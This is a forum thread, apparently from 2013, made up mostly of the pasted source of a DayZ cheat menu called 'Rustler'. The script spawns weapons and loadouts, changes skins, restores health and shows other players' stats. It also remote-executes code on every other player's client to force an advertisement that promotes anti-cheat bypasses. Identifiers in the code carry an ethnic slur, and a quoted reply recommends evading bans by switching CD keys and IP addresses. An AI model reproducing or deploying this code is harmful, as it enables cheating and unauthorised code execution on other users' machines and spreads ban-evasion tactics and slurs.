    	thfile = thfile + ["M4A1 Holo Loadout","[] spawn m4a1bby;","0","0","0","0",[]];
    	thfile = thfile + ["M249 Saw Loadout","[] spawn sawbby;","0","0","0","0",[]];
    
    	for [{_num = 0}, {_num <= count(thfile)-1}, {_num = _num+7}] do
    	{
    		_index      = _ctrl lbAdd format["%1", thfile select _num];
    		_togglable  = thfile select (_num+2);
    		_istitle    = thfile select (_num+3);
    		_issubmenu  = thfile select (_num+4);
    		_thcolor    = thfile select (_num+6);
    		
    		if (count _thcolor == 0) then
    		{
    			_ctrl lbSetColor [(lbsize _ctrl)-1, menu_run];
    		}
    
    		else
    		{
    			_ctrl lbSetColor [(lbsize _ctrl)-1, _thcolor];
    		};
    		
    		if (_togglable == "1") then
    		{
    			if (_index in Monky_hax_toggled) then
    			{
    				_ctrl lbSetData [(lbsize _ctrl)-1, "toggled"];
    				_ctrl lbSetColor [(lbsize _ctrl)-1, menu_toggle_on];
    			}
    
    			else
    			{
    				_ctrl lbSetData [(lbsize _ctrl)-1, "nottoggled"];
    				_ctrl lbSetColor [(lbsize _ctrl)-1, menu_toggle_off];
    			};
    		};
    
    		if (_istitle == "1") then
    		{
    			_ctrl lbSetColor [(lbsize _ctrl)-1, menu_title];
    		};
    
    		if (_issubmenu == "1") then
    		{
    			_ctrl lbSetColor [(lbsize _ctrl)-1, menu_sub];
    		};
    	};
    };
    
    
    
    //Fills the player window with list of players
    Monky_fillPlrs =
    {
        [] spawn
        {
            while {!(isNull (findDisplay 2929))} do
            {
                if (Listw) then 
                {
                    disableSerialization;
                    _count = count playableUnits;
    				_ctrl = (findDisplay 2929) displayctrl 292904;
    				lbclear _ctrl;
    				_ctrl ctrlSetFont "Zeppelin33";
    				_ctrl ctrlSetFontHeight 0.027;
                    _ctrl lbAdd "-----------[Player List With Stats]------------------------";
                    _ctrl lbSetColor [(lbsize _ctrl)-1, color_green];
                    {
                        if (getPlayerUID _x != "") then
                        {
                            if (primaryWeapon _x == "") then {weapon1 = "Unarmed"} else {weapon1 = primaryWeapon _x};
                            _ctrl lbAdd format["%1", name _x];
                            _ctrl lbSetData [(lbsize _ctrl)-1, "1"];
                            _ctrl lbSetColor [(lbsize _ctrl)-1, color_blue];
                            _ctrl lbAdd format["   Weapon: %1", weapon1];
                            _ctrl lbSetColor [(lbsize _ctrl)-1, color_red];
                            _ctrl lbAdd format["   Blood: %1", round(_x getVariable['USEC_BloodQty', r_player_bloodTotal])];
                            _ctrl lbSetColor [(lbsize _ctrl)-1, color_red];
                            _ctrl lbAdd format["   Current Vehicle: %1", (gettext (configFile >> 'CfgVehicles' >> (typeof vehicle _x) >> 'displayName'))];
                            _ctrl lbSetColor [(lbsize _ctrl)-1, color_red];
                            _ctrl lbAdd format["   Humanity: %1", _x getVariable['humanity', 0]];
                            _ctrl lbSetColor [(lbsize _ctrl)-1, color_red];
                            _ctrl lbAdd format["   Murders: %1", _x getVariable['humanKills', 0]];
                            _ctrl lbSetColor [(lbsize _ctrl)-1, color_red];
                        };
                    } forEach entities "AllVehicles";
                    _ctrl lbAdd "";
                    _ctrl lbAdd "";
                    _ctrl lbAdd "";
                    _ctrl lbAdd "";
                    _ctrl lbAdd "";
                    _ctrl lbAdd "";
                    sleep 500;
                }
                else
                {
                    disableSerialization;
                    _count = count playableUnits;
                    _ctrl = (findDisplay 2929) displayctrl 292904;
                    sleep 0.05;
                    lbclear _ctrl;
                    _ctrl lbAdd "--------------------[Player List]-----------------------------";
                    _ctrl lbSetColor [(lbsize _ctrl)-1, color_green];
                    _ctrl ctrlSetFont "Zeppelin33";
                    _ctrl ctrlSetFontHeight 0.027;
                    {
                        if (getPlayerUID _x != "") then
                        {
                            _ctrl lbAdd format["%1", name _x];
                            _ctrl lbSetData [(lbsize _ctrl)-1, "1"];
                            _ctrl lbSetColor [(lbsize _ctrl)-1, color_blue];
                            
                        };
                    } forEach entities "AllVehicles"; 
    				lbsort _ctrl;				
                    _ctrl lbAdd "";
                    _ctrl lbAdd "";
                    _ctrl lbAdd "";
                    _ctrl lbAdd "";
                    _ctrl lbAdd "";
                    _ctrl lbAdd "";
                    sleep 500;
                };
            };
        };
    };
    
    
    Monky_fill_Weapons =
    {
    	isInSub = true;
    
    	_ctrl = (findDisplay 2929) displayctrl 292901;
    	lbclear _ctrl;
    
    	_execx = '"%1" call spwnwpn';
    
    	thfile = [];
    	thfile = thfile + ["BACK","BACK","0","0","1","0",color_green];
    
    	_cfgweapons = configFile >> "cfgWeapons";
    
    	for "_i" from 0 to (count _cfgweapons)-1 do
    	{
    		_weapon = _cfgweapons select _i;
    		if (isClass _weapon) then
    		{
    			_wpn_type = configName _weapon;
    			if ((getNumber (_weapon >> "scope") == 0) or (getNumber (_weapon >> "scope") == 2)) then
    			{
    				thfile = thfile + [_wpn_type,format[_execx,_wpn_type],"0","0","0","0",[0, 0.5, 0.9, 1]];
    			};
    		};
    	};
    
    	//Hax for making scroll work
    	thfile = thfile + ["","","0","1","0","0",[]];
    	thfile = thfile + ["","","0","1","0","0",[]];
    	thfile = thfile + ["","","0","1","0","0",[]];
    	thfile = thfile + ["","","0","1","0","0",[]];
    	thfile = thfile + ["","","0","1","0","0",[]];
    	thfile = thfile + ["","","0","1","0","0",[]];
    	thfile = thfile + ["","","0","1","0","0",[]];
    	thfile = thfile + ["","","0","1","0","0",[]];
    	thfile = thfile + ["","","0","1","0","0",[]];
    	thfile = thfile + ["","","0","1","0","0",[]];
    	thfile = thfile + ["","","0","1","0","0",[]];
    	thfile = thfile + ["","","0","1","0","0",[]];
    	thfile = thfile + ["","","0","1","0","0",[]];
    	thfile = thfile + ["","","0","1","0","0",[]];
        
        thfile = thfile + ["BACK","BACK","0","0","1","0",color_green];
    
    	for [{_num = 0}, {_num <= count(thfile)-1}, {_num = _num+7}] do
    	{
    		_index     = _ctrl lbAdd format["%1", thfile select _num];
    		_issubmenu = thfile select (_num+4);
    		_thcolor   = thfile select (_num+6);
    		
    		if (count _thcolor == 0) then
    		{
    			_ctrl lbSetColor [(lbsize _ctrl)-1, menu_run];
    		}
    
    		else
    		{
    			_ctrl lbSetColor [(lbsize _ctrl)-1, _thcolor];
    		};
    	};
    };
    
    // Fills the morph menu with list of skins
    Monky_fill_Skins =
    {
    	isInSub = true;
    
    	_ctrl = (findDisplay 2929) displayctrl 292901;
    	lbclear _ctrl;
    
    	thfile = [];
    	thfile = thfile + ["BACK","BACK","0","0","1","0",color_green];
    
    	thfile = thfile + ["","","0","1","0","0",[]];
    	thfile = thfile + ["Male Survivor",format ["[dayz_playerUID,dayz_characterID,'Survivor2_DZ'] spawn player_humanityMorph;"],"0","0","0","0",[0, 0, 1, 1]];
    	thfile = thfile + ["","","0","1","0","0",[]];
    	thfile = thfile + ["Female Survivor",format ["[dayz_playerUID,dayz_characterID,'SurvivorW2_DZ'] spawn player_humanityMorph;"],"0","0","0","0",[0, 0, 1, 1]];
    	thfile = thfile + ["","","0","1","0","0",[]];
    	thfile = thfile + ["Hero",format ["[dayz_playerUID,dayz_characterID,'Survivor3_DZ'] spawn player_humanityMorph;"],"0","0","0","0",[0, 0, 1, 1]];
    	thfile = thfile + ["","","0","1","0","0",[]];
    	thfile = thfile + ["Camo",format ["[dayz_playerUID,dayz_characterID,'Camo1_DZ'] spawn player_humanityMorph;"],"0","0","0","0",[0, 0, 1, 1]];
    	thfile = thfile + ["","","0","1","0","0",[]];
    	thfile = thfile + ["Ghillie",format ["[dayz_playerUID,dayz_characterID,'Sniper1_DZ'] spawn player_humanityMorph;"],"0","0","0","0",[0, 0, 1, 1]];
    	thfile = thfile + ["","","0","1","0","0",[]];
    	thfile = thfile + ["Winter Camo",format ["[dayz_playerUID,dayz_characterID,'CamoWinter_DZN'] spawn player_humanityMorph;"],"0","0","0","0",[0, 0, 1, 1]];
    	thfile = thfile + ["","","0","1","0","0",[]];
    	thfile = thfile + ["Invisible Skin",format ["[dayz_playerUID,dayz_characterID,'Survivor1_DZ'] spawn player_humanityMorph;"],"0","0","0","0",[0, 0, 1, 1]];
    	thfile = thfile + ["","","0","1","0","0",[]];
    	thfile = thfile + ["Namalsk Sniper",format ["[dayz_playerUID,dayz_characterID,'Skin_Sniper1W_DZN'] spawn player_humanityMorph;"],"0","0","0","0",[0, 0, 1, 1]];
    	thfile = thfile + ["","","0","1","0","0",[]];
    	thfile = thfile + ["Namalsk Winter Camo",format ["[dayz_playerUID,dayz_characterID,'Skin_CamoWinterW_DZN'] spawn player_humanityMorph;"],"0","0","0","0",[0, 0, 1, 1]];
    	thfile = thfile + ["","","0","1","0","0",[]];
    	thfile = thfile + ["Takistan Jeehadi",format ["[dayz_playerUID,dayz_characterID,'TK_INS_Soldier_EP1'] spawn player_humanityMorph;"],"0","0","0","0",[0, 0, 1, 1]];
    	thfile = thfile + ["","","0","1","0","0",[]];
    	thfile = thfile + ["Chicken",format ["[dayz_playerUID,dayz_characterID,'Hen'] spawn player_humanityMorph;"],"0","0","0","0",[0, 0, 1, 1]];
    	thfile = thfile + ["","","0","1","0","0",[]];
    	thfile = thfile + ["Dog",format ["[dayz_playerUID,dayz_characterID,'Dog'] spawn player_humanityMorph;"],"0","0","0","0",[0, 0, 1, 1]];
    	thfile = thfile + ["","","0","1","0","0",[]];
    	thfile = thfile + ["Rabbit",format ["[dayz_playerUID,dayz_characterID,'Rabbit'] spawn player_humanityMorph;"],"0","0","0","0",[0, 0, 1, 1]];
    	thfile = thfile + ["","","0","1","0","0",[]];
    	thfile = thfile + ["Zombie",format ["[dayz_playerUID,dayz_characterID,'z_soldier_pilot'] spawn player_humanityMorph;"],"0","0","0","0",[0, 0, 1, 1]];
    	thfile = thfile + ["","","0","1","0","0",[]];
    	thfile = thfile + ["Camo1 (DayZ+)",format ["[dayz_playerUID,dayz_characterID,'Sniper2_DZ'] spawn player_humanityMorph;"],"0","0","0","0",[0, 0, 1, 1]];
    	thfile = thfile + ["","","0","1","0","0",[]];
    	thfile = thfile + ["Camo2 (DayZ+)",format ["[dayz_playerUID,dayz_characterID,'Camo2_DZ'] spawn player_humanityMorph;"],"0","0","0","0",[0, 0, 1, 1]];
    	thfile = thfile + ["","","0","1","0","0",[]];
    	thfile = thfile + ["Camo3 (DayZ+)",format ["[dayz_playerUID,dayz_characterID,'Camo3_DZ'] spawn player_humanityMorph;"],"0","0","0","0",[0, 0, 1, 1]];
    	thfile = thfile + ["","","0","1","0","0",[]];
    	thfile = thfile + ["Camo4 (DayZ+)",format ["[dayz_playerUID,dayz_characterID,'Camo4_DZ'] spawn player_humanityMorph;"],"0","0","0","0",[0, 0, 1, 1]];
    	thfile = thfile + ["","","0","1","0","0",[]];
    	thfile = thfile + ["Camo5 (DayZ+)",format ["[dayz_playerUID,dayz_characterID,'Camo5_DZ'] spawn player_humanityMorph;"],"0","0","0","0",[0, 0, 1, 1]];
    	thfile = thfile + ["","","0","1","0","0",[]];
    
        
        thfile = thfile + ["BACK","BACK","0","0","1","0",color_green];
    
    	for [{_num = 0}, {_num <= count(thfile)-1}, {_num = _num+7}] do
    	{
    		_index     = _ctrl lbAdd format["%1", thfile select _num];
    		_issubmenu = thfile select (_num+4);
    		_thcolor   = thfile select (_num+6);
    		
    		if (count _thcolor == 0) then
    		{
    			_ctrl lbSetColor [(lbsize _ctrl)-1, menu_run];
    		}
    
    		else
    		{
    			_ctrl lbSetColor [(lbsize _ctrl)-1, _thcolor];
    		};
    	};
    };
    
    monteniggro = { [] spawn {
    if (isNil "terggel") then {terggel = 0;}; if (terggel==0) then {terggel = 1; while {terggel==1} do {
    
    if ((count Monky_hax_toggled_Display) >= 1) then {toggle1 = Monky_hax_toggled_Display select 0;}else { toggle1 = nil;};
    if ((count Monky_hax_toggled_Display) >= 2) then {toggle2 = Monky_hax_toggled_Display select 1;}else { toggle2 = nil;};
    if ((count Monky_hax_toggled_Display) >= 3) then {toggle3 = Monky_hax_toggled_Display select 2;}else { toggle3 = nil;};
    if ((count Monky_hax_toggled_Display) >= 4) then {toggle4 = Monky_hax_toggled_Display select 3;}else { toggle4 = nil;};
    if ((count Monky_hax_toggled_Display) >= 5) then {toggle5 = Monky_hax_toggled_Display select 4;}else { toggle5 = nil;};
    if ((count Monky_hax_toggled_Display) >= 6) then {toggle6 = Monky_hax_toggled_Display select 5;}else { toggle6 = nil;};
    if ((count Monky_hax_toggled_Display) >= 7) then {toggle7 = Monky_hax_toggled_Display select 6;}else { toggle7 = nil;};
    if ((count Monky_hax_toggled_Display) >= 8) then {toggle8 = Monky_hax_toggled_Display select 7;}else { toggle8 = nil;};
    if ((count Monky_hax_toggled_Display) >= 9) then {toggle9 = Monky_hax_toggled_Display select 8;}else { toggle9 = nil;};
    if ((count Monky_hax_toggled_Display) >= 10) then {toggle10 = Monky_hax_toggled_Display select 9;}else { toggle10 = nil;};
    if ((count Monky_hax_toggled_Display) >= 11) then {toggle11 = Monky_hax_toggled_Display select 10;}else { toggle11 = nil;};
    
    if !(isNil "toggle1") then {
    [format["<t size ='0.7' color='#00FF00' allign='left'>%1</t>",toggle1],(safezoneX- 1.26)/2,-(safezoneH-1.25)/2,99999999,0,0,3016] spawn bis_fnc_dynamicText;
    } else {["<t size ='0.7' color='#00FF00'></t>",(safezoneX- 1.26)/2,-(safezoneH-1.25)/2,99999999,-1,0,3016] spawn bis_fnc_dynamicText;};
    
    if !(isNil "toggle2") then {
    [format["<t size ='0.7' color='#00FF00'>%1</t>",toggle2],(safezoneX- 1.26)/2,-(safezoneH-1.45)/2,99999999,0,0,3017] spawn bis_fnc_dynamicText;
    } else {["<t size ='0.7' color='#00FF00'></t>",(safezoneX- 1.26)/2,-(safezoneH-1.25)/2,99999999,-1,0,3017] spawn bis_fnc_dynamicText;};
    
    if !(isNil "toggle3") then {
    [format["<t size ='0.7' color='#00FF00'>%1</t>",toggle3],(safezoneX- 1.26)/2,-(safezoneH-1.65)/2,99999999,0,0,3018] spawn bis_fnc_dynamicText;
    } else {["<t size ='0.7' color='#00FF00'></t>",(safezoneX- 1.26)/2,-(safezoneH-1.25)/2,99999999,-1,0,3018] spawn bis_fnc_dynamicText;};
    
    if !(isNil "toggle4") then {
    [format["<t size ='0.7' color='#00FF00'>%1</t>",toggle4],(safezoneX- 1.26)/2,-(safezoneH-1.85)/2,99999999,0,0,3019] spawn bis_fnc_dynamicText;
    } else {["<t size ='0.7' color='#00FF00'></t>",(safezoneX- 1.26)/2,-(safezoneH-1.25)/2,99999999,-1,0,3019] spawn bis_fnc_dynamicText;};
    
    if !(isNil "toggle5") then {
    [format["<t size ='0.7' color='#00FF00'>%1</t>",toggle5],(safezoneX- 1.26)/2,-(safezoneH-2.05)/2,99999999,0,0,3020] spawn bis_fnc_dynamicText;
    } else {["<t size ='0.7' color='#00FF00'></t>",(safezoneX- 1.26)/2,-(safezoneH-1.25)/2,99999999,-1,0,3020] spawn bis_fnc_dynamicText;};
    
    if !(isNil "toggle6") then {
    [format["<t size ='0.7' color='#00FF00'>%1</t>",toggle6],(safezoneX- 1.26)/2,-(safezoneH-2.25)/2,99999999,0,0,3021] spawn bis_fnc_dynamicText;
    } else {["<t size ='0.7' color='#00FF00'></t>",(safezoneX- 1.26)/2,-(safezoneH-1.25)/2,99999999,-1,0,3021] spawn bis_fnc_dynamicText;};
    
    if !(isNil "toggle7") then {
    [format["<t size ='0.7' color='#00FF00'>%1</t>",toggle7],(safezoneX- 1.26)/2,-(safezoneH-2.45)/2,99999999,0,0,3022] spawn bis_fnc_dynamicText;
    } else {["<t size ='0.7' color='#00FF00'></t>",(safezoneX- 1.26)/2,-(safezoneH-1.25)/2,99999999,-1,0,3022] spawn bis_fnc_dynamicText;};
    
    if !(isNil "toggle8") then {
    [format["<t size ='0.7' color='#00FF00'>%1</t>",toggle8],(safezoneX- 1.26)/2,-(safezoneH-2.65)/2,99999999,0,0,3023] spawn bis_fnc_dynamicText;
    } else {["<t size ='0.7' color='#00FF00'></t>",(safezoneX- 1.26)/2,-(safezoneH-1.25)/2,99999999,-1,0,3023] spawn bis_fnc_dynamicText;};
    
    if !(isNil "toggle9") then {
    [format["<t size ='0.7' color='#00FF00'>%1</t>",toggle9],(safezoneX- 1.26)/2,-(safezoneH-2.85)/2,99999999,0,0,3024] spawn bis_fnc_dynamicText;
    } else {["<t size ='0.7' color='#00FF00'></t>",(safezoneX- 1.26)/2,-(safezoneH-1.25)/2,99999999,-1,0,3024] spawn bis_fnc_dynamicText;};
    
    if !(isNil "toggle10") then {
    [format["<t size ='0.7' color='#00FF00'>%1</t>",toggle10],(safezoneX- 1.26)/2,-(safezoneH-3.05)/2,99999999,0,0,3025] spawn bis_fnc_dynamicText;
    } else {["<t size ='0.7' color='#00FF00'></t>",(safezoneX- 1.26)/2,-(safezoneH-1.25)/2,99999999,-1,0,3025] spawn bis_fnc_dynamicText;};
    
    if !(isNil "toggle11") then {
    [format["<t size ='0.7' color='#00FF00'>%1</t>",toggle11],(safezoneX- 1.26)/2,-(safezoneH-3.25)/2,99999999,0,0,3026] spawn bis_fnc_dynamicText;
    } else {["<t size ='0.7' color='#00FF00'></t>",(safezoneX- 1.26)/2,-(safezoneH-1.25)/2,99999999,-1,0,3026] spawn bis_fnc_dynamicText;};
    sleep 0.1;
    }; } else {
    terggel = 0;
    
    for "_i" from 0 to ((count Monky_hax_toggled_Display) - 1) do {
    
    ["<t size ='0.7' color='#00FF00'></t>",(safezoneX- 1.26)/2,-(safezoneH-1.25)/2,99999999,-1,0,(3016 + _i)] spawn bis_fnc_dynamicText;};
    sleep 0.1;
    };};};
    
    
    on = true;
    execute = 
    {
    _display = findDisplay 2929;
    _textCode = _display displayctrl 292908;
    _exec = ctrlText 292908;
    _textCode ctrlSetText format [" '%1' can not be processed and executed. 
    Buy the Full version when it comes out 
    to enable this feature.",_exec];
    _textCode ctrlSetFontHeight 0.027;
    _textCode ctrlSetTextColor [0.9, 0.1, 0.3, 1];
    _textCode ctrlSetFont "Zeppelin33";
    };
    
    hint1 = {
    _display = findDisplay 2929;
    _textCode = _display displayctrl 292908;
    _exec = ctrlText 292908;
    _textCode ctrlSetText format [" '%1' can not be processed and displayed. 
    Buy the Full version when it comes out 
    to enable this feature.",_exec];
    _textCode ctrlSetFontHeight 0.027;
    _textCode ctrlSetTextColor [0.9, 0.1, 0.3, 1];
    _textCode ctrlSetFont "Zeppelin33";
    };
    
    hint2 = {
    _display = findDisplay 2929;
    _textCode = _display displayctrl 292908;
    _exec = ctrlText 292908;
    _textCode ctrlSetText format [" '%1' can not be processed and hinted. 
    Buy the Full version when it comes out 
    to enable this feature.",_exec];
    _textCode ctrlSetFontHeight 0.027;
    _textCode ctrlSetTextColor [0.9, 0.1, 0.3, 1];
    _textCode ctrlSetFont "Zeppelin33";
    };
    
    Monky_initMenu =
    {
    
    	disableSerialization;
    
    	// Remap functions
    	_ctrl = (findDisplay 2929) displayctrl 292901;
    	_ctrl ctrlSetEventHandler ["LBDblClick", "call Monky_hax_dbclick;"];
    	_ctrl ctrlCommit 0.001;
    
    	call Monky_fillHax;
    	call Monky_fillPlrs;
    	
    	_display = findDisplay 2929;
    	_textTitle = _display displayctrl 292905;
    	_textPath = _display displayctrl 292906;
    	_textDesc = _display displayctrl 292907;
    	_textCode = _display displayctrl 292908;
    	_btnCopy = _display displayctrl 292909;
    	_btnCopy2 = _display displayctrl 292910;
    	_btnCopy3 = _display displayctrl 292911;
    	_listFunctions = _display displayCtrl 292901;
    	_listSources = _display displayCtrl 292902;
    	_listTags = _display displayCtrl 292903;
    	_listCats = _display displayCtrl 292904;
    	
    	//title
    	_textTitle ctrlSetText "       RUSTLING TIME";
    	_textTitle ctrlSetTextColor title_dialog;
    	_textTitle ctrlSetFont "Zeppelin33Italic";
    	_listFunctions ctrlCommit 0.001;
    
    	//subtitle
    	_textPath ctrlSetText "Free (beta) v1.0";
    	_textPath ctrlSetTextColor [0.3, 0.5, 0.9, 1];
    	_textPath ctrlSetFont "Zeppelin33Italic";	
    	//herohacks
    	_textDesc ctrlSetText "Powered by www.hero**********";
    	_textDesc ctrlSetTextColor [0.5, 0.6, 1, 1];
    	_textDesc ctrlSetFont "Zeppelin33Italic";
    	//copybin
    	//dont remove the blank gap
    		if (******sandshit) then 
    		{
    			_textCode ctrlSetText "Type Code Here";
    			_textCode ctrlSetFontHeight 0.027;
    			_textCode ctrlSetTextColor [0.5, 0.6, 1, 1];
    			_textCode ctrlSetFont "Zeppelin33";} else {
    			disableSerialization;
    			_textCode ctrlSetText "
    			==[ RUSTLER TIAL (BETA) 1.0 INFORMATION ]==
    			
    			Credits:
    			Monky - A few scripts, lots of help
    			Rustler - Scripts, Menu, Rustles
    			
    			
    			Powered by www.hero**********
    			
    			Buy the full version when it is
    			released for ALL the features!
    			
    			~pop pop pop watchin jimmies drop~";
    			_textCode ctrlSetFontHeight 0.027;
    			_textCode ctrlSetTextColor [0.9, 0.1, 0.3, 1];
    			_textCode ctrlSetFont "Zeppelin33";
    		};
    	
    	//setting button actions
    	_btnCopy ctrlSetText "Display Text";
    	_btnCopy ctrlSetTextColor [0.5, 0.6, 1, 1];
    	_btnCopy ctrlSetFont "Zeppelin33";
    	_btnCopy buttonSetAction "call hint1;";
    	
    	//exec custom code
    	_btnCopy2 ctrlSetText "Execute Code";
    	_btnCopy2 ctrlSetTextColor [0.5, 0.6, 1, 1];
    	_btnCopy2 ctrlSetFont "Zeppelin33";
    	_btnCopy2 buttonSetAction "call execute;";
    	//spawn news banner
    	_btnCopy3 ctrlSetText "Info Text/News";
    	_btnCopy3 ctrlSetTextColor [0.5, 0.6, 1, 1];
    	_btnCopy3 buttonSetAction "call hint2;";
    	
    	
    	// Fixing the MainList / hacks
    
    	_listFunctions ctrlSetPosition [safezoneX + 0.713, safezoneY + 0.785, 0.415, safezoneH - 1.2];
    	_listFunctions ctrlSetFont font;
    	_listFunctions ctrlCommit 0.001;
    	
    	//hiding unneeded shit
    	_listSources ctrlShow false;
    	_listTags ctrlShow false;
    	
    	//fixing playerlist
    	_listCats ctrlSetPosition [safezoneX + 0.713, safezoneY + 0.451, 0.415, safezoneH - 1.484];
    	_listCats ctrlSetFont font;
    	_listCats ctrlCommit 0.001; 
    	
    	(_display displayctrl 292905) ctrlSetBackgroundColor [1, 0, 0, 0.1];
    };
    
    if (isNil "runoncebby") then {call monteniggro; runoncebby = true;};
    
    
    
    };
    waitUntil {!isNil "Monky_funcs_inited"};
    if (!isNull findDisplay 3030) exitWith {};
    if !(createDialog "RscFunctionsViewer") exitWith {hintSilent "createDialog failed";};
    call Monky_initMenu;
    waitUntil {!dialog || !alive player};};
    
    keibunds = {
    if (!isnil "keypit") then
    {
    	(findDisplay 46) displayRemoveEventHandler ["KeyDown", keypit];
    };
    
    keybinds =
    {
    	switch (_this) do
    	{
    		case 15:
    		{
    			[] spawn rustlinginit;
    		};
    
    	};
    };
    
    waituntil {!isnull (finddisplay 46)};
    sleep 1; 
    keypit = (findDisplay 46) displayAddEventHandler ["KeyDown", "_this select 1 call keybinds; false;"];
    };
    
    endLoadingScreen;
    DAYZ_CA1_Lollipops = nil;
    cutText ["", "BLACK IN"];
    disableUserInput false;
    r_player_blood = 12000;
    r_player_lowblood = false;
    r_player_unconscious = false;
    r_player_timeout = 0;
    penaltyTimeout = false;
    BIS_Effects_EH_Killed = {};
    [] spawn keibunds;
    [] spawn monitoure;
    hint parseText "<t size='1.5' color='#40FF00'>SCRIPTS LOADED</t>";
    ["RUSTLER MENU", "FREE TRIAL (BETA)","Scripts Loaded!"] spawn BIS_fnc_infotext;
    
    sleep 15;
    
    _list = [getplayeruid player];
    
    _allbutme = format ["if !(getPlayerUID player in %1) then 
    {
    ""HeroHa""+""cks DayZ Cheat!"" hintC [parsetext ""<t color='#5882FA' >Come to www.heroh<t/><t color='#5882FA' >acks.com for the best Free and VIP cheats!<t/>"",
    parsetext ""<t color='#5882FA' >The ONLY place with the new Rustler 4.0 Menu<t/>"",
    parsetext ""<t color='#5882FA' >Full Battleye Bypass + script injector<t/>"",
    parsetext ""<t color='#5882FA' >Free DayZ Hack Trial Version!<t/>""];
    };",_list];
    
    [_allbutme] call Rustler_RE;
    I don't see what's so encrypted about that... What exactly are you people trying to do? :/
    Last edited by IRSpafic; 02-19-2013 at 11:12 AM.

  15. The Following User Says Thank You to IRSpafic For This Useful Post:

    Woodhouse (02-19-2013)

  16. #15
    Bosegelucke's Avatar
    Join Date
    Aug 2012
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    male
    Posts
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    Quote Originally Posted by Vanquish@HH View Post
    You guys have no idea why this got cracked do you...
    Il let you think about it see if you can get your small brains round it.

    Also the trial scripts have nothing in hence being a trial...
    There is a reason why people are not respecting you and your site. It's your snobbish attitude towards the public.
    Quote Originally Posted by chickeninabiskit View Post
    1. Fuck shit up
    2. Get banned
    3. Switch CD Keys and change out IP Address
    4. Join and FSU again
    5. Rinse and repeat
    6. Profit???

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